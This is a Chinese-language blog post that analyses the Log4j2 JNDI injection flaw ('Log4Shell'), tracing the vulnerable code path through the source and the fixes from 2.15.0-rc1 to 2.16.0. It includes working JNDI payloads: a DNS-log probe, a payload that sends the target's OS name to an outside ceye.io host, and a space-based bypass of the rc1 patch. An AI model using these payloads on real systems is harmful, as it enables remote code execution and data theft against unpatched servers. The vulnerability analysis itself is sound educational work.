看面经和复习期末考试都怪无聊的,看点这个核弹级漏洞
背景
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。
log4j2远程代码执行漏洞主要由于存在JNDI注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码。
(阿里好像还因为没先跟cnvd说所以被罚了
前置知识
Log4j2
Apache Log4j 2是对Log4j的升级,它比其前身Log4j 1.x提供了重大改进,并提供了Logback中可用的许多改进,同时修复了Logback架构中的一些问题。是目前最优秀的Java日志框架之一。
本次漏洞影响范围为Log4j2最早期的版本2.0-beta9到2.14.1。
由于Log4j2重新构建和设计了框架,所以可以认为两者是完全独立的两个日志组件。但是他们的包还是很相似,这里给出一点差异
Log4j2分为2个jar包,一个是接口log4j-api-${版本号}.jar,一个是具体实现log4j-core-${版本号}.jar。Log4j只有一个jar包log4j-${版本号}.jar。
Log4j2的版本号目前均为2.x。Log4j的版本号均为1.x。
Log4j2的package名称前缀为org.apache.logging.log4j。Log4j的package名称前缀为org.apache.log4j。
具体的发展过程可以看看这个https://paper.seebug.org/1789/的Java日志体系部分
JNDI
java命名和目录接口
它就像一个映射关系库,里面有很多资源,每个资源对应一个名字,当我查看这个名字时候,就会提供对应资源。将资源和名字进行了一对一映射。一些基本操作,发布服务bind(),查找服务lookup()。
LDAP协议
轻型目录访问协议
LDAP可以理解是一个简单存储数据的数据库,不过它是树状结构的,树形结构存储数据,查询效率更高。
JNDI注入
第一个是由于JNDI的动态协议转换,即使初始化的context指定了协议,也会根据URL传入的参数来转换协议。
其实就是说即使提前配置了Context.PROVIDER_URL属性,当我们调用lookup()方法时,如果lookup方法的参数是一个url地址,那么客户端就会去lookup()方法参数指定的uri中加载远程对象,而不是去Context.PROVIDER_URL设置的地址去加载对象。
正是因为有这个特性,才导致当lookup()方法的参数可控时,攻击者可以通过提供一个恶意的url地址来控制受害者加载攻击者指定的恶意类。
第二个是由于JNDI Naming Reference,Reference类表示对存在于命名/目录系统以外的对象的引用。如果远程获取 LDAP 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。
其实可以简单理解为我这LDAP存储空间有限,我把多余的数据放在我的一个web网站里面,可以通过url地址进行引用,查询的数据如果我自己数据库里面没有,我就会自动去我这个指定的地址在web网站查找指定资源。
(这里jndi注入那篇写的有点赶,所以就没怎么细说原理,就在这里补上了
Log4j2源码浅析
然后简单分析一下源码
环境配置
先引入依赖
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
</dependencies>
在工程目录resources下创建log4j2.xml
<?xml version="1.0" encoding="UTF-8"?>
<configuration status="error">
<appenders>
<!-- 配置Appenders输出源为Console和输出语句SYSTEM_OUT-->
<Console name="Console" target="SYSTEM_OUT" >
<!-- 配置Console的模式布局-->
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n"/>
</Console>
</appenders>
<loggers>
<root level="error">
<appender-ref ref="Console"/>
</root>
</loggers>
</configuration>
log4j2中包含两个关键组件LogManager
和LoggerContext
。LogManager
是Log4J2启动的入口,可以初始化对应的LoggerContext
。LoggerContext
会对配置文件进行解析等其它操作。
在不使用slf4j的情况下常见的Log4J用法是从LogManager中获取Logger接口的一个实例,并调用该接口上的方法。运行下列代码查看打印结果
属性占位符之Interpolator插值器
log4j2中环境变量键值对被封装为了StrLookup对象。这些变量的值可以通过属性占位符来引用,格式为:${prefix:key}
。在Interpolator插值器内部以Map的方式则封装了多个StrLookup对象,如下图显示:
简单说就是通过${prefix:key}这种方式可以调用这里面存的环境变量
然后在输出错误信息的时候
会进行一个检测
先找strLookupMap里有没有这个prefix
比如这里这个prefix就是java
然后就会去调用对应的lookup方法
假如我把java改成marker
那再假如这里不是marker,而是jndi,那调用的就会是jndi的lookup,就有可能会造成jndi的注入
这里虽然是JndiLookup,但是看名字最后调用的应该就是jndi的lookup,先不往下跟了,之后再说
模式布局
log4j2支持通过配置Layout打印格式化的指定形式日志,可以在Appenders的后面附加Layouts来完成这个功能。常用之一有PatternLayout
,也就是我们在配置文件中PatternLayout
字段所指定的属性pattern
的值%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n
。 %msg
表示所输出的消息
PatternLayout
模式布局会通过PatternProcessor模式解析器,对模式字符串进行解析,得到一个List<PatternConverter>
转换器列表和List<FormattingInfo>
格式信息列表。在配置文件PatternLayout
标签的pattern
属性中我们可以看到类似%d的写法,d代表一个转换器名称,log4j2会通过PluginManager
收集所有类别为Converter的插件,同时分析插件类上的@ConverterKeys注解,获取转换器名称,并建立名称到插件实例的映射关系,当PatternParser识别到转换器名称的时候,会查找映射。
序号 | 名称 | 类型 | 描述 |
---|---|---|---|
1 | d date | DatePatternConverter | 日志的时间戳 |
2 | p level | LevelPatternConverter | 日志级别 |
3 | m msg message | MessagePatternConverter | 日志中的消息内容 |
4 | C class | ClassNamePatternConverter | 日志打印点所在类的类名 注意:需要给LoggerincludeLocation="true"属性开启位置 |
5 | M method | MethodLocationPatternConverter | 日志打印点所在方法的方法名 注意:需要给LoggerincludeLocation="true"属性开启位置 |
6 | c logger | LoggerPatternConverter | Logger实例的名称 |
7 | n | LineSeparatorPatternConverter | 专门追加换行符 |
8 | properties | Log4j1MdcPatternConverter | |
9 | ndc | Log4j1NdcPatternConverter | |
10 | enc encode | EncodingPatternConverter | |
11 | equalsIgnoreCase | EqualsIgnoreCaseReplacementConverter | |
12 | equals | EqualsReplacementConverter | |
13 | xEx xThroable xException | ExtendedThrowablePatternConverter | |
14 | F file | FileLocationPatternConverter | 注意:需要给LoggerincludeLocation="true"属性开启位置 |
15 | l location | FullLocationPatternConverter | 相当于%C.%M(%F:%L) 注意:需要给LoggerincludeLocation="true"属性开启位置 |
16 | highlight | HighlightConverter | |
17 | L line | LineLocationPatternConverter | 日志打印点的代码行数 注意:需要给LoggerincludeLocation="true"属性开启位置 |
18 | K map MAP | MapPatternConverter | |
19 | marker | MarkerPatternConverter | 打印完整标记,格式如:标记名[父标记名[祖父标记名]],一个标记可以有多个父标记 |
20 | markerSimpleName | MarkerSimpleNamePatternConverter | 只打印标记的名称 |
21 | maxLength maxLen | MaxLengthConverter | |
22 | X mdc MDC | MdcPatternConverter | LogEvent.getContextData() 映射诊断上下文 |
23 | N nano | NanoTimePatternConverter | |
24 | x NDC | NdcPatternConverter | LogEvent.getContextStack() 嵌套诊断上下文 |
25 | replace | RegexReplacementConverter | |
26 | r relative | RelativeTimePatternConverter | |
27 | rEx rThrowable rException | RootThrowablePatternConverter | |
28 | style | StyleConverter | |
29 | T tid threadId | ThreadIdPatternConverter | 线程id |
30 | t tn thread threadName | ThreadNamePatternConverter | 线程名称 |
31 | tp threadPriority | ThreadPriorityPatternConverter | 线程优先级 |
32 | ex throwable Exception | ThrowablePatternConverter | 异常 |
33 | u uuid | UuidPatternConverter | 生成一个uuid,随日志一起打印,用于唯一标识一条日志 |
34 | notEmpty varsNotEmpty variablesNotEmpty | VariablesNotEmptyReplacementConverter |
简单说就是如果配置文件里写的是%msg这种,就去找MessagePatternConverter进行处理
这个MessagePatternConverter也是log4j漏洞产生的一个重要原因
日志级别
log4j2支持多种日志级别,通过日志级别我们可以将日志信息进行分类,在合适的地方输出对应的日志。哪些信息需要输出,哪些信息不需要输出,只需在一个日志输出控制文件中稍加修改即可。级别由高到低共分为6个:fatal(致命的), error, warn, info, debug, trace(堆栈)。
log4j2还定义了一个内置的标准级别intLevel
,由数值表示,级别越高数值越小。
当日志级别(调用)大于等于系统设置的intLevel
的时候,log4j2才会启用日志打印。在存在配置文件的时候 ,会读取配置文件中<root level="error">
值设置intLevel
。当然我们也可以通过Configurator.setLevel("当前类名", Level.INFO);
来手动设置。
如果没有配置文件也没有指定则会默认使用Error级别,也就是200
漏洞细节
复现
网上最常见的就是dnslog的payload
${jndi:ldap://xxxx.ceye.io}
其实就是调用jndi的lookup,然后url就是dns://xxxx.ceye.io。让被攻击侧往这个url上发起dns请求
这里我就直接用ldap弹计算器了
首先是开启一个本地的ldap服务端,然后python在恶意字节码目录下起个服务
跟一下流程
把断点下在org/apache/logging/log4j/core/appender/AbstractOutputStreamAppender.java
中的directEncodeEvent
方法上
这里会获取当前使用的布局,然后调用对应的encode方法
默认的话就是PatternLayout
所以就会调用PatternLayout的encode方法
这里面有个toText方法
接着进入toSerializable
这里边就会调用不同的Converter来处理传入的数据
这里我们只跟MessagePatternConverter
在MessagePatternConverter 的format里,对字符串进行了处理
最主要的就是这个if里
可以看到第二行重设了workingBuilder这个StringBuilder对象的长度,把原本的83改成了50
这个50就是在输出的这行日志中出现$字符的位置
也就是说把${jndi:ldap://127.0.0.1:9999/exp}单独切了出来,不在workingBuilder里了
然后最后一行又进行了一个append操作,加入的内容是config.getStrSubstitutor().replace(event, value)
这里又是个替换
使用 Apache Commons Configuration 库中的
StrSubstitutor
对象来替换字符串中的占位符。
StrSubstitutor
是一个用于替换字符串中的变量的工具类。它可以根据提供的键值对,将字符串中的占位符替换为对应的值。通常情况下,占位符使用${}
或者$()
包围。
value就是我们之前切出来的${jndi:ldap://127.0.0.1:9999/exp}
继续跟进会到Interpolator.lookup
这里就是之前说的插值器的地方
先根据var.indexOf(PREFIX_SEPARATOR);判断":"之前的字符
再通过
final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
final String name = var.substring(prefixPos + 1);
把第一个:前后的东西分离
然后因为我们这里是jndi,所以这里的lookup就是JndiLookup
很自然就进JndiLookup的lookup方法里了
继续进jndiManager.lookup
这个jndiName就是我们写的恶意ldap的url了
现在到了InitialContext的lookup里了
后边就纯ldap的jndi的路了
恶意url也传进去了
到这里漏洞流程就结束了,但是还有一点问题
比如在源码解析里的日志级别好像并没有提到
日志级别也是影响是否能实现log4j2漏洞的一个因素
原因就是不管输出哪个级别的日志,都要调用这一个方法
logIfEnabled方法用来判断日志优先级
由于默认情况下是error,所以小于error的warn, info, debug, trace都不会满足这个判断,直接就返回了,不能接着往下走,也就不会触发漏洞了
可以在配置文件里自行设置优先级
外带
就dnslog外带,也没啥特别的,只不过是借助log4j2的递归解析
${jndi:ldap://${java:os}.2lnhn2.ceye.io}
先解析${java:os},把东西拿到,然后再去发起请求
rc1绕过
在爆出log4j2这个核弹级漏洞后,apache自然是进行了修复
这次修复把MessagePatternConverter这个类进行了大改
我直接截个先知社区的图
并且在 2.15.0-rc1的更新包中,移除了从 Properties 中获取 Lookup 配置的选项,并修改判断逻辑,默认不开启 lookup 功能。
还有就是在JndiManager#lookup
方法中添加了校验,使用了 JndiManagerFactory 来创建 JndiManager 实例,不再使用 InitialContext,而是使用子类 InitialDirContext,并为其添加白名单 JNDI 协议、白名单主机名、白名单类名。
感觉不是很好利用,属于是除了ctf故意出题想不到还存在的场景了
所以就简单说了
rc1把format挪到LookupMessagePatternConverter里了
而只有在开启 lookup 功能时才会使用 LookupMessagePatternConverter
来进行 Lookup 和替换
所以必须在配置文件里开启lookup才行
就是在%msg后边加个{lookups}
然后又因为还有个地址校验,只允许本地的发起请求了
但是这个东西有个最离谱的问题,就是它的catch里没return
所以只要try里报错,就直接进this.context.lookup了
所以就在exp前边加个空格让触发 URISyntaxException
异常
${jndi:ldap://127.0.0.1:9999/ exp}
rc2
在catch里把return加上了
似乎是还有绕过方法,但是对于那种配置文件要求苛刻的绕过,感觉意义不是很大
2.16.0-rc1
直接不支持日志信息的lookup了,所以log4j2漏洞就彻底结束了
总结
看起来log4j2的原理并不麻烦,甚至有点简单,但是我还是有点不太理解的地方,就是log4j2作为一个日志,为什么要去支持jndi的lookup,为什么要去远程请求东西。(可能确实用处不大吧,毕竟2.16版本直接删了
另外对于log4j2的jndi注入还衍生出了许多技巧。例如编码绕过、关键字截取、Appenders等,这里就不详细写了,用到再搜吧(